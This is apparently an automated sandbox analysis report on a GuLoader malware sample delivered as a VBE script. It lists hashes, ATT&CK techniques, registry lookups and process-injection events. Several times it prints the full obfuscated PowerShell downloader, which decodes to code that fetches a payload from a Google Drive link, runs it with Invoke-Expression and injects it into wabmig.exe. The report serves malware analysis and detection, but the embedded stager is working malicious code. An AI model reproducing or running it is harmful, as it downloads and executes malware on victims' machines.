guloader | f104572d09f9f2cbec6f95cd5dbb676804216ce5ae3f35cff1582a35a4849238

General

Target

f104572d09f9f2cbec6f95cd5dbb676804216ce5ae3f35cff1582a35a4849238.vbe
Size

26KB
MD5

e11bbc8cee5056167a63bcef0fe84e4d
SHA1

3e918da8f1b5470bb595a6b0b547cbcd027f7092
SHA256

f104572d09f9f2cbec6f95cd5dbb676804216ce5ae3f35cff1582a35a4849238
SHA512

9c408ac208f0afcb9d9c2ed8a6f4087e7e72585757a2969905dd31c20481905d2cbfde067b43242100bc2b70c10e8d3fb1e400d0cf47281c9dd1eb1ce1f6d2fc
SSDEEP

384:3ydPCgpjudNX1kAfBmtAKNaZQZVNiBW3R:idPZp6dzkAf0t3ag/iBW3R

Score

10^/10

guloader discovery downloader execution

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

Blocklisted process makes network request 2 IoCs

flow	pid	Process
17	2192	powershell.exe
19	2192	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\Control Panel\International\Geo\Nation	WScript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2192	powershell.exe
896	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
16	drive.google.com
17	drive.google.com
47	drive.google.com

Network Service Discovery 1 TTPs 3 IoCs

Attempt to gather information on host's network.

discovery

Network Service Discovery

T1046

pid	Process
896	powershell.exe
2192	powershell.exe
4488	cmd.exe

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

pid	Process
404	wabmig.exe
404	wabmig.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
896	powershell.exe
404	wabmig.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 896 set thread context of 404	896	powershell.exe	95

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wabmig.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2192	powershell.exe
2192	powershell.exe
896	powershell.exe
896	powershell.exe
896	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
896	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2192	powershell.exe
Token: SeDebugPrivilege	896	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
404	wabmig.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 3916 wrote to memory of 2192	3916	WScript.exe	82
PID 3916 wrote to memory of 2192	3916	WScript.exe	82
PID 2192 wrote to memory of 912	2192	powershell.exe	84
PID 2192 wrote to memory of 912	2192	powershell.exe	84
PID 2192 wrote to memory of 4488	2192	powershell.exe	88
PID 2192 wrote to memory of 4488	2192	powershell.exe	88
PID 4488 wrote to memory of 896	4488	cmd.exe	89
PID 4488 wrote to memory of 896	4488	cmd.exe	89
PID 4488 wrote to memory of 896	4488	cmd.exe	89
PID 896 wrote to memory of 1124	896	powershell.exe	91
PID 896 wrote to memory of 1124	896	powershell.exe	91
PID 896 wrote to memory of 1124	896	powershell.exe	91
PID 896 wrote to memory of 404	896	powershell.exe	95
PID 896 wrote to memory of 404	896	powershell.exe	95
PID 896 wrote to memory of 404	896	powershell.exe	95
PID 896 wrote to memory of 404	896	powershell.exe	95
PID 896 wrote to memory of 404	896	powershell.exe	95

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\f104572d09f9f2cbec6f95cd5dbb676804216ce5ae3f35cff1582a35a4849238.vbe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Elleverens Anticeremonious Alpelandskaber Mowita Bevgelsesordre Hejdis #>;$Bilagsmaterialets='Majesttsfornrmelserne';<#Bardesanite Elselskab Uopretteligheds Pilotere Merriment #>;$Forbindelseslinien=$host.PrivateData;If ($Forbindelseslinien) {$Kvatorialguineaners++;}function Mekong($Memorbcr){$Decerned=$Memorbcr.Length-$Kvatorialguineaners;for( $Eklipses=5;$Eklipses -lt $Decerned;$Eklipses+=6){$Korridorers+=$Memorbcr[$Eklipses];}$Korridorers;}function Chesteine($Stoors){ . ($Uskrevet) ($Stoors);}$Blddels=Mekong 'mackiM Antio ple z Esbji Equilbobinlheroia P.lt/Strej5Yahus.Endev0Swin .alva(UnkinWBogsaiL cinnThickdOccasoDechowDi.apsFener PilloNAutogTAflir Puf e1Duali0Engli.Calor0 orts;De,ai BackpWHydroicrib.n N ns6 Str 4gravi; mdes Rib,nx .rec6Schol4Data ; Unco AssigrP fabvEnfac: Bego1P stm2Indis1Slbe..Bigge0 Un,e)Lsbla BagvgGS mlkeUnconc DebikAnmelo Eque/Cur,e2Overd0Centr1 our0Lapsa0Po.ce1Virk,0Bogme1 Neur .utotF HalviF,tnirLabi egenfofDampaoalitzxLaund/ .ast1 Afb 2Lej.i1 Sini. Unh.0Maori ';$Xanth=Mekong 'Li.teU BlaaSRetouEJanusr Acet-ButleaFunktgStr wEReconngrn.etlacet ';$Appelsintrer=Mekong ' Skaeh Sam tskalat F igpSpionsUlogi: Fagm/ Op e/Avi,idRadi,rBayadiNettovPunc.eGamop. KonggMucinoNedtooSmrbogMotiolBlotte Tipo.SgemucSnaggo Sy hmCit z/AlyteuMuntjcUnrec? ,vereSkov ximperpCarr.oKaramrSku etUddel=Und rd unguoprogrwTownfnPo selApollo R,ceaJasm dSyn.r&RapndiAntendAfsta=Gesch1AfgifJBiobeGLibert ,ecel chil2InkassT dsfv C powJo.navLivenRPreveLfor asSp doEKobenCg nbrwKlod.- SmedX Prof8DentiQFanbaA dlaaaRalliI Syn O Pri IOsteodStu,ePTru dm GallPDichrKFo iunU.oru-Fisk BCo to ';$Fossilification=Mekong 'welsh>Bloka ';$Uskrevet=Mekong 'ChloriBlokpE NonpX Unre ';$trafikmngden='Thirstiest';$Offentliggr = Mekong 'TyrefeYrkercNedfohFje.doContr Sbre,%Form,acorusp nalopSamhad lvinaSol st LlinaGavne%Repip\Co,roALu ripska,deWorkfrAn idtOhma uAnglorPythoeEnigmd Frav.RdklvUAckn.nDelmnuNanki Ingvo&Bi,rf&Tornb C,efeDucescBri.eh Pen o Blas Talk,tKnytt ';Chesteine (Mekong 'Grave$Pucelg RacklTilbioAu iobblndlaPhraslSmgen: sediNHeadsaMilitv.netynTo.uaeCo tiaSvi,egDelnotulighiTimelg ,omp=B ais( Dr.zc aramKrebadSocia Noemi/In ercDimid Simi$RehamOM ffefRaaprfFa,fleSygehn UncrtDumbblAmatri horrg.allagByr.er Over) Flle ');Chesteine (Mekong 'Taisd$Nonstg elhelantieounsmobSe usa nderlO dsk:PlanoSSuitao Mennr V.asb Da,oeUnsextGensaeFlersrGeody=Spige$ nkeAA bilpAnkylpGest eAericlFall.sHajosiTelefnBerggtassevrKampjeMatzor Spot.Nerves Pla,pPentalF lleiDommetHj.mm(Uncri$lokkeFS ovloP pirsNem tsForetiRatlalLommei BundfLaseriFredsc Serpa Bal tFritii ituaoSekunn Impo)Kabal ');Chesteine (Mekong 'Bolig[Robe NFjerneAssortTjens.S rinSHandee PeccrMellevTrteriHj rtcPleiaeBrobaPPapndo SpediB rthn HypntOmposMUngenaScia nEffa aAfn tgKajleeInterrDefau],iske: ndho:trrehSBellaeUnju.cArvebuMave rThor,iAffrtt Kirky H ggP,orbirBegu oPr metBilaso Agrac yceto Skatl,yrrh Forva= ,ril Ordr [KokotN Undee Cleat Fors.dishoSCadgee De,ucUbestu EquirSylt,i,rogitSalgsyHolocPNoninrPa hyo ReadtDelpho Tyv.cHoffooPok llModstTShotlynovelp appueMod a]Kel f:Srtb : BremT BagvlRegiosPolyu1 Disp2Glans ');$Appelsintrer=$Sorbeter[0];$Projektbeskrivelser= (Mekong 'Aa,ni$an ibGBhutal BeigO Sonab PighA icroLUbes.:DebatTFor ur VrdiALejersberejsVersiedistrRReskne AntiRNatur=CastrnLikvieSuborwGhass-Malleo tolzbStikpjDragoE perfCSn deTA,arc Ve,ds SporyHalvas RundTArbejE.oethmJu,yw.,onpun SphieCoventLysst. B.rgWSnohaESpadsbAfsbeCGgl nl eriiSlut.EEry.hNMand t');$Projektbeskrivelser+=$Navneagtig[1];Chesteine ($Projektbeskrivelser);Chesteine (Mekong 'Spo.v$ Ste TChackrSolska UltisSociasFrille .oncrFaldneTurisrDyspi.BronzHUn xeeFortra.lupndFlorme teamrArch.s.prem[Aurae$CharmXObstraHept nInflatdramahF rud]Gonoc= Rend$SobriBJaloulTerradCh nndSeduceSki slVrdips Diph ');$Strumstrum=Mekong 'Irith$souffTFrdigrHodagaPyja.sBebias oreeBaksnr orfaeRunrorBruge.UnderDmi.ieoUer.awconstnFor ultrstoo onomaNatardLys oF DechiSer nltweageClois(Drfl.$SvabrAFastipBe.rapEmporeA,kanl OmdesSub cii nicnCou ttlavnirBalleeStormrP,sta, kams$Re.ilOMillir Submireevae SplanLagentRidabe K ssrHomode V lbnHugged St,eeBlind)begre ';$Orienterende=$Navneagtig[0];Chesteine (Mekong 'Beer $GarpiGOrendln.kkeoUnderbSydfra FladLSuper: ju eUJomfrNGnaven Unc.A GenbtBesttUsy teRRetiaaWirliL Sp iIsanktSPyohet Nonsi Far.C Synf=Uncov( M anTForbeEXenacsIndskTPluto-N nbopStum aForhatMagnuhLogic haarr$SoritooppebRSandbiS eipEDa.phnInte,tSysteeKvar rPresee MastnMusicdsalt.ERend )Gene ');while (!$Unnaturalistic) {Chesteine (Mekong 'Blu,t$Oks hgCuraslCatbroPljenbKonstaFlavol chry:Voc.mRAhornyU bandLithonLokkeiSkinknPaaregklbehs Breg= oost$Cata,tTomatrCallau Selvepa.te ') ;Chesteine $Strumstrum;Chesteine (Mekong 'B tleSExedrt UdbyaElsierCarditKysha-AcetoSmiljbl eboeegu zleSortbpProje Nonce4Gled. ');Chesteine (Mekong ' Cali$ .eengP.efelImbeloOmfa b RlinaFe.rylCykel:,kjolUS lvhn Emblnsamf a Limntsha.nuGtebarfi,suaConjelSucc,iCon es LofttlustriSsonecmegat=Prepr(HeredT .ilgeSc ewsVoidetIndis-HusdyPSubsiaIndistA gomhTvegg Klren$ AdorOFortrrUnderiBestyeBl,nkn AmfitUnchreFrr,srGenopeFy ennSee adwa ereceleo)Formu ') ;Chesteine (Mekong 'Udgif$KeepbgArrasl Steeo Wit.b pru,a eksel Biog:ZeuglS Faktl demoaskiedv Un eeTumortMechaiBo ofl Hy rv Ar hrSrtr.eGtepal KontsMaxi eImplirFremtn askoeSjoflsSub e= uizz$Rece gruskrlSirb osubstbSistea WomalFoul,:SororPDermaaTriklrIntuiaMasocuPteronThioitBevgee ekspr Omst4Crawf3 Luta+Tilgr+Af,vk%Campa$fami.S PinxoFrdigr edbjb Awole VerdtMet deDissirSkrll.Abor cIndgroQuintuDigitnS.ccht Skrd ') ;$Appelsintrer=$Sorbeter[$Slavetilvrelsernes];}$Tankebanerne=312475;$Myopically=29784;Chesteine (Mekong 'Akkor$Finm g bu glCountoBusteb YaffaViderlTiffi:T,oraTS nitrS,rvio F rsmVa drbTeo,uoPandocGrae.yDataut recet Shake Un.arPreex2 Tid.1 Re.r ems=Metoa aero GCounte KonttBa de-SeborCRheosoForhanBatlotS cioetrkninAntists dde Fora$ RdhtO SubirAlkvaiFlewseFor rnparadtSalice irkerRe isesmr rnSmagedForl,eValou ');Chesteine (Mekong 'Hv lf$FremdgJournlnonlioHariob dslaaDe ialUnsan:FerryH Me liAminop Udvip hromoBrit.tErythoKuttem Cy.eiPummecAkkreaElkholsa le Landb=ber i Raspb[LithoSGrillyAstensTjr.st,leiseEndorm Prod.KofteCMyggeoGonian.robovDelume K.ogrVandft Waff]Sprut:Erhol:halvfF BerrrFord,oMatzomPdagoB estta Dasys.vatoe Flag6 Conf4 MullSKommetSimmerNachuiRuddlnShelbgStrif(U ity$fryseTclabbrA beso lyngmSt esbCaco oExinecAngekyTilprtGravetNrs ne.amalrV.ndl2Bul,e1 yper)Combl ');Chesteine (Mekong 'Tyend$Sc pog PlowlMilieoWingbbFraflaGuitalSalg :LunteUExag nLsengi StranFanossKo,mitRens r,odbauStikbmUndere Re nn tjetPlatyaSkriflArbejlH droyancha Bel e= efro Talje[CigarSn miny aagesPasitt C.lieMountmAchar. NoveTSat ne Statx Sil tImagi.centrEtelefnB inkc llenoExtemd S.amiAiramnvulvogbib.s]Trner: tact: ni rAGardnSBaffiCBlik.I Me aITilvr. UngeGparaleMi,estU cubSDkspltSi,gar moriiOufounSh ddg ukas(Beskf$Cu.hiHAdvokilogi.p VelvpFo paoForsitUdtryoTung,m Ohi i Rot c C oca nvirl Aftv)Vanvi ');Chesteine (Mekong 'Ramsh$Scri.grawi lMelleoNitr bFavrpaUngenlIrbit: VidnTFlyabr oufyForstgRatiolDelageG inerSv,nkiN nlyeUholdr KladnIn orePeriosKlatm= ergp$AsparUFravan SubdiDuellnAtte sSupint idderPistouH andmOxa ae.nbumnTi sktAfv saSuperlMontilTelegy kldt. Du esSuboruU valbforkmsTotaltUnderrBo stiManurnFrig gQuint( Bul $Bo toTAnfrtaContanTrapekTrinveBalstbTweedanringnSolbae strer.laninRotereAdven, Civi$krigsMHerr yNigh o Tekopisoz,iSmirkcPro,ea Idehl DisslTr.lvySalon)Remem ');Chesteine $Trygleriernes;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Network Service Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2192
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Apertured.Unu && echo t"
    3⤵
    PID:912
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c ^"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe^" "<#Elleverens Anticeremonious Alpelandskaber Mowita Bevgelsesordre Hejdis #>;$Bilagsmaterialets='Majesttsfornrmelserne';<#Bardesanite Elselskab Uopretteligheds Pilotere Merriment #>;$Forbindelseslinien=$host.PrivateData;If ($Forbindelseslinien) {$Kvatorialguineaners++;}function Mekong($Memorbcr){$Decerned=$Memorbcr.Length-$Kvatorialguineaners;for( $Eklipses=5;$Eklipses -lt $Decerned;$Eklipses+=6){$Korridorers+=$Memorbcr[$Eklipses];}$Korridorers;}function Chesteine($Stoors){ . ($Uskrevet) ($Stoors);}$Blddels=Mekong 'mackiM Antio ple z Esbji Equilbobinlheroia P.lt/Strej5Yahus.Endev0Swin .alva(UnkinWBogsaiL cinnThickdOccasoDechowDi.apsFener PilloNAutogTAflir Puf e1Duali0Engli.Calor0 orts;De,ai BackpWHydroicrib.n N ns6 Str 4gravi; mdes Rib,nx .rec6Schol4Data ; Unco AssigrP fabvEnfac: Bego1P stm2Indis1Slbe..Bigge0 Un,e)Lsbla BagvgGS mlkeUnconc DebikAnmelo Eque/Cur,e2Overd0Centr1 our0Lapsa0Po.ce1Virk,0Bogme1 Neur .utotF HalviF,tnirLabi egenfofDampaoalitzxLaund/ .ast1 Afb 2Lej.i1 Sini. Unh.0Maori ';$Xanth=Mekong 'Li.teU BlaaSRetouEJanusr Acet-ButleaFunktgStr wEReconngrn.etlacet ';$Appelsintrer=Mekong ' Skaeh Sam tskalat F igpSpionsUlogi: Fagm/ Op e/Avi,idRadi,rBayadiNettovPunc.eGamop. KonggMucinoNedtooSmrbogMotiolBlotte Tipo.SgemucSnaggo Sy hmCit z/AlyteuMuntjcUnrec? ,vereSkov ximperpCarr.oKaramrSku etUddel=Und rd unguoprogrwTownfnPo selApollo R,ceaJasm dSyn.r&RapndiAntendAfsta=Gesch1AfgifJBiobeGLibert ,ecel chil2InkassT dsfv C powJo.navLivenRPreveLfor asSp doEKobenCg nbrwKlod.- SmedX Prof8DentiQFanbaA dlaaaRalliI Syn O Pri IOsteodStu,ePTru dm GallPDichrKFo iunU.oru-Fisk BCo to ';$Fossilification=Mekong 'welsh>Bloka ';$Uskrevet=Mekong 'ChloriBlokpE NonpX Unre ';$trafikmngden='Thirstiest';$Offentliggr = Mekong 'TyrefeYrkercNedfohFje.doContr Sbre,%Form,acorusp nalopSamhad lvinaSol st LlinaGavne%Repip\Co,roALu ripska,deWorkfrAn idtOhma uAnglorPythoeEnigmd Frav.RdklvUAckn.nDelmnuNanki Ingvo&Bi,rf&Tornb C,efeDucescBri.eh Pen o Blas Talk,tKnytt ';Chesteine (Mekong 'Grave$Pucelg RacklTilbioAu iobblndlaPhraslSmgen: sediNHeadsaMilitv.netynTo.uaeCo tiaSvi,egDelnotulighiTimelg ,omp=B ais( Dr.zc aramKrebadSocia Noemi/In ercDimid Simi$RehamOM ffefRaaprfFa,fleSygehn UncrtDumbblAmatri horrg.allagByr.er Over) Flle ');Chesteine (Mekong 'Taisd$Nonstg elhelantieounsmobSe usa nderlO dsk:PlanoSSuitao Mennr V.asb Da,oeUnsextGensaeFlersrGeody=Spige$ nkeAA bilpAnkylpGest eAericlFall.sHajosiTelefnBerggtassevrKampjeMatzor Spot.Nerves Pla,pPentalF lleiDommetHj.mm(Uncri$lokkeFS ovloP pirsNem tsForetiRatlalLommei BundfLaseriFredsc Serpa Bal tFritii ituaoSekunn Impo)Kabal ');Chesteine (Mekong 'Bolig[Robe NFjerneAssortTjens.S rinSHandee PeccrMellevTrteriHj rtcPleiaeBrobaPPapndo SpediB rthn HypntOmposMUngenaScia nEffa aAfn tgKajleeInterrDefau],iske: ndho:trrehSBellaeUnju.cArvebuMave rThor,iAffrtt Kirky H ggP,orbirBegu oPr metBilaso Agrac yceto Skatl,yrrh Forva= ,ril Ordr [KokotN Undee Cleat Fors.dishoSCadgee De,ucUbestu EquirSylt,i,rogitSalgsyHolocPNoninrPa hyo ReadtDelpho Tyv.cHoffooPok llModstTShotlynovelp appueMod a]Kel f:Srtb : BremT BagvlRegiosPolyu1 Disp2Glans ');$Appelsintrer=$Sorbeter[0];$Projektbeskrivelser= (Mekong 'Aa,ni$an ibGBhutal BeigO Sonab PighA icroLUbes.:DebatTFor ur VrdiALejersberejsVersiedistrRReskne AntiRNatur=CastrnLikvieSuborwGhass-Malleo tolzbStikpjDragoE perfCSn deTA,arc Ve,ds SporyHalvas RundTArbejE.oethmJu,yw.,onpun SphieCoventLysst. B.rgWSnohaESpadsbAfsbeCGgl nl eriiSlut.EEry.hNMand t');$Projektbeskrivelser+=$Navneagtig[1];Chesteine ($Projektbeskrivelser);Chesteine (Mekong 'Spo.v$ Ste TChackrSolska UltisSociasFrille .oncrFaldneTurisrDyspi.BronzHUn xeeFortra.lupndFlorme teamrArch.s.prem[Aurae$CharmXObstraHept nInflatdramahF rud]Gonoc= Rend$SobriBJaloulTerradCh nndSeduceSki slVrdips Diph ');$Strumstrum=Mekong 'Irith$souffTFrdigrHodagaPyja.sBebias oreeBaksnr orfaeRunrorBruge.UnderDmi.ieoUer.awconstnFor ultrstoo onomaNatardLys oF DechiSer nltweageClois(Drfl.$SvabrAFastipBe.rapEmporeA,kanl OmdesSub cii nicnCou ttlavnirBalleeStormrP,sta, kams$Re.ilOMillir Submireevae SplanLagentRidabe K ssrHomode V lbnHugged St,eeBlind)begre ';$Orienterende=$Navneagtig[0];Chesteine (Mekong 'Beer $GarpiGOrendln.kkeoUnderbSydfra FladLSuper: ju eUJomfrNGnaven Unc.A GenbtBesttUsy teRRetiaaWirliL Sp iIsanktSPyohet Nonsi Far.C Synf=Uncov( M anTForbeEXenacsIndskTPluto-N nbopStum aForhatMagnuhLogic haarr$SoritooppebRSandbiS eipEDa.phnInte,tSysteeKvar rPresee MastnMusicdsalt.ERend )Gene ');while (!$Unnaturalistic) {Chesteine (Mekong 'Blu,t$Oks hgCuraslCatbroPljenbKonstaFlavol chry:Voc.mRAhornyU bandLithonLokkeiSkinknPaaregklbehs Breg= oost$Cata,tTomatrCallau Selvepa.te ') ;Chesteine $Strumstrum;Chesteine (Mekong 'B tleSExedrt UdbyaElsierCarditKysha-AcetoSmiljbl eboeegu zleSortbpProje Nonce4Gled. ');Chesteine (Mekong ' Cali$ .eengP.efelImbeloOmfa b RlinaFe.rylCykel:,kjolUS lvhn Emblnsamf a Limntsha.nuGtebarfi,suaConjelSucc,iCon es LofttlustriSsonecmegat=Prepr(HeredT .ilgeSc ewsVoidetIndis-HusdyPSubsiaIndistA gomhTvegg Klren$ AdorOFortrrUnderiBestyeBl,nkn AmfitUnchreFrr,srGenopeFy ennSee adwa ereceleo)Formu ') ;Chesteine (Mekong 'Udgif$KeepbgArrasl Steeo Wit.b pru,a eksel Biog:ZeuglS Faktl demoaskiedv Un eeTumortMechaiBo ofl Hy rv Ar hrSrtr.eGtepal KontsMaxi eImplirFremtn askoeSjoflsSub e= uizz$Rece gruskrlSirb osubstbSistea WomalFoul,:SororPDermaaTriklrIntuiaMasocuPteronThioitBevgee ekspr Omst4Crawf3 Luta+Tilgr+Af,vk%Campa$fami.S PinxoFrdigr edbjb Awole VerdtMet deDissirSkrll.Abor cIndgroQuintuDigitnS.ccht Skrd ') ;$Appelsintrer=$Sorbeter[$Slavetilvrelsernes];}$Tankebanerne=312475;$Myopically=29784;Chesteine (Mekong 'Akkor$Finm g bu glCountoBusteb YaffaViderlTiffi:T,oraTS nitrS,rvio F rsmVa drbTeo,uoPandocGrae.yDataut recet Shake Un.arPreex2 Tid.1 Re.r ems=Metoa aero GCounte KonttBa de-SeborCRheosoForhanBatlotS cioetrkninAntists dde Fora$ RdhtO SubirAlkvaiFlewseFor rnparadtSalice irkerRe isesmr rnSmagedForl,eValou ');Chesteine (Mekong 'Hv lf$FremdgJournlnonlioHariob dslaaDe ialUnsan:FerryH Me liAminop Udvip hromoBrit.tErythoKuttem Cy.eiPummecAkkreaElkholsa le Landb=ber i Raspb[LithoSGrillyAstensTjr.st,leiseEndorm Prod.KofteCMyggeoGonian.robovDelume K.ogrVandft Waff]Sprut:Erhol:halvfF BerrrFord,oMatzomPdagoB estta Dasys.vatoe Flag6 Conf4 MullSKommetSimmerNachuiRuddlnShelbgStrif(U ity$fryseTclabbrA beso lyngmSt esbCaco oExinecAngekyTilprtGravetNrs ne.amalrV.ndl2Bul,e1 yper)Combl ');Chesteine (Mekong 'Tyend$Sc pog PlowlMilieoWingbbFraflaGuitalSalg :LunteUExag nLsengi StranFanossKo,mitRens r,odbauStikbmUndere Re nn tjetPlatyaSkriflArbejlH droyancha Bel e= efro Talje[CigarSn miny aagesPasitt C.lieMountmAchar. NoveTSat ne Statx Sil tImagi.centrEtelefnB inkc llenoExtemd S.amiAiramnvulvogbib.s]Trner: tact: ni rAGardnSBaffiCBlik.I Me aITilvr. UngeGparaleMi,estU cubSDkspltSi,gar moriiOufounSh ddg ukas(Beskf$Cu.hiHAdvokilogi.p VelvpFo paoForsitUdtryoTung,m Ohi i Rot c C oca nvirl Aftv)Vanvi ');Chesteine (Mekong 'Ramsh$Scri.grawi lMelleoNitr bFavrpaUngenlIrbit: VidnTFlyabr oufyForstgRatiolDelageG inerSv,nkiN nlyeUholdr KladnIn orePeriosKlatm= ergp$AsparUFravan SubdiDuellnAtte sSupint idderPistouH andmOxa ae.nbumnTi sktAfv saSuperlMontilTelegy kldt. Du esSuboruU valbforkmsTotaltUnderrBo stiManurnFrig gQuint( Bul $Bo toTAnfrtaContanTrapekTrinveBalstbTweedanringnSolbae strer.laninRotereAdven, Civi$krigsMHerr yNigh o Tekopisoz,iSmirkcPro,ea Idehl DisslTr.lvySalon)Remem ');Chesteine $Trygleriernes;"
    3⤵
    - Network Service Discovery
    - Suspicious use of WriteProcessMemory
    PID:4488
  - - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "<#Elleverens Anticeremonious Alpelandskaber Mowita Bevgelsesordre Hejdis #>;$Bilagsmaterialets='Majesttsfornrmelserne';<#Bardesanite Elselskab Uopretteligheds Pilotere Merriment #>;$Forbindelseslinien=$host.PrivateData;If ($Forbindelseslinien) {$Kvatorialguineaners++;}function Mekong($Memorbcr){$Decerned=$Memorbcr.Length-$Kvatorialguineaners;for( $Eklipses=5;$Eklipses -lt $Decerned;$Eklipses+=6){$Korridorers+=$Memorbcr[$Eklipses];}$Korridorers;}function Chesteine($Stoors){ . ($Uskrevet) ($Stoors);}$Blddels=Mekong 'mackiM Antio ple z Esbji Equilbobinlheroia P.lt/Strej5Yahus.Endev0Swin .alva(UnkinWBogsaiL cinnThickdOccasoDechowDi.apsFener PilloNAutogTAflir Puf e1Duali0Engli.Calor0 orts;De,ai BackpWHydroicrib.n N ns6 Str 4gravi; mdes Rib,nx .rec6Schol4Data ; Unco AssigrP fabvEnfac: Bego1P stm2Indis1Slbe..Bigge0 Un,e)Lsbla BagvgGS mlkeUnconc DebikAnmelo Eque/Cur,e2Overd0Centr1 our0Lapsa0Po.ce1Virk,0Bogme1 Neur .utotF HalviF,tnirLabi egenfofDampaoalitzxLaund/ .ast1 Afb 2Lej.i1 Sini. Unh.0Maori ';$Xanth=Mekong 'Li.teU BlaaSRetouEJanusr Acet-ButleaFunktgStr wEReconngrn.etlacet ';$Appelsintrer=Mekong ' Skaeh Sam tskalat F igpSpionsUlogi: Fagm/ Op e/Avi,idRadi,rBayadiNettovPunc.eGamop. KonggMucinoNedtooSmrbogMotiolBlotte Tipo.SgemucSnaggo Sy hmCit z/AlyteuMuntjcUnrec? ,vereSkov ximperpCarr.oKaramrSku etUddel=Und rd unguoprogrwTownfnPo selApollo R,ceaJasm dSyn.r&RapndiAntendAfsta=Gesch1AfgifJBiobeGLibert ,ecel chil2InkassT dsfv C powJo.navLivenRPreveLfor asSp doEKobenCg nbrwKlod.- SmedX Prof8DentiQFanbaA dlaaaRalliI Syn O Pri IOsteodStu,ePTru dm GallPDichrKFo iunU.oru-Fisk BCo to ';$Fossilification=Mekong 'welsh>Bloka ';$Uskrevet=Mekong 'ChloriBlokpE NonpX Unre ';$trafikmngden='Thirstiest';$Offentliggr = Mekong 'TyrefeYrkercNedfohFje.doContr Sbre,%Form,acorusp nalopSamhad lvinaSol st LlinaGavne%Repip\Co,roALu ripska,deWorkfrAn idtOhma uAnglorPythoeEnigmd Frav.RdklvUAckn.nDelmnuNanki Ingvo&Bi,rf&Tornb C,efeDucescBri.eh Pen o Blas Talk,tKnytt ';Chesteine (Mekong 'Grave$Pucelg RacklTilbioAu iobblndlaPhraslSmgen: sediNHeadsaMilitv.netynTo.uaeCo tiaSvi,egDelnotulighiTimelg ,omp=B ais( Dr.zc aramKrebadSocia Noemi/In ercDimid Simi$RehamOM ffefRaaprfFa,fleSygehn UncrtDumbblAmatri horrg.allagByr.er Over) Flle ');Chesteine (Mekong 'Taisd$Nonstg elhelantieounsmobSe usa nderlO dsk:PlanoSSuitao Mennr V.asb Da,oeUnsextGensaeFlersrGeody=Spige$ nkeAA bilpAnkylpGest eAericlFall.sHajosiTelefnBerggtassevrKampjeMatzor Spot.Nerves Pla,pPentalF lleiDommetHj.mm(Uncri$lokkeFS ovloP pirsNem tsForetiRatlalLommei BundfLaseriFredsc Serpa Bal tFritii ituaoSekunn Impo)Kabal ');Chesteine (Mekong 'Bolig[Robe NFjerneAssortTjens.S rinSHandee PeccrMellevTrteriHj rtcPleiaeBrobaPPapndo SpediB rthn HypntOmposMUngenaScia nEffa aAfn tgKajleeInterrDefau],iske: ndho:trrehSBellaeUnju.cArvebuMave rThor,iAffrtt Kirky H ggP,orbirBegu oPr metBilaso Agrac yceto Skatl,yrrh Forva= ,ril Ordr [KokotN Undee Cleat Fors.dishoSCadgee De,ucUbestu EquirSylt,i,rogitSalgsyHolocPNoninrPa hyo ReadtDelpho Tyv.cHoffooPok llModstTShotlynovelp appueMod a]Kel f:Srtb : BremT BagvlRegiosPolyu1 Disp2Glans ');$Appelsintrer=$Sorbeter[0];$Projektbeskrivelser= (Mekong 'Aa,ni$an ibGBhutal BeigO Sonab PighA icroLUbes.:DebatTFor ur VrdiALejersberejsVersiedistrRReskne AntiRNatur=CastrnLikvieSuborwGhass-Malleo tolzbStikpjDragoE perfCSn deTA,arc Ve,ds SporyHalvas RundTArbejE.oethmJu,yw.,onpun SphieCoventLysst. B.rgWSnohaESpadsbAfsbeCGgl nl eriiSlut.EEry.hNMand t');$Projektbeskrivelser+=$Navneagtig[1];Chesteine ($Projektbeskrivelser);Chesteine (Mekong 'Spo.v$ Ste TChackrSolska UltisSociasFrille .oncrFaldneTurisrDyspi.BronzHUn xeeFortra.lupndFlorme teamrArch.s.prem[Aurae$CharmXObstraHept nInflatdramahF rud]Gonoc= Rend$SobriBJaloulTerradCh nndSeduceSki slVrdips Diph ');$Strumstrum=Mekong 'Irith$souffTFrdigrHodagaPyja.sBebias oreeBaksnr 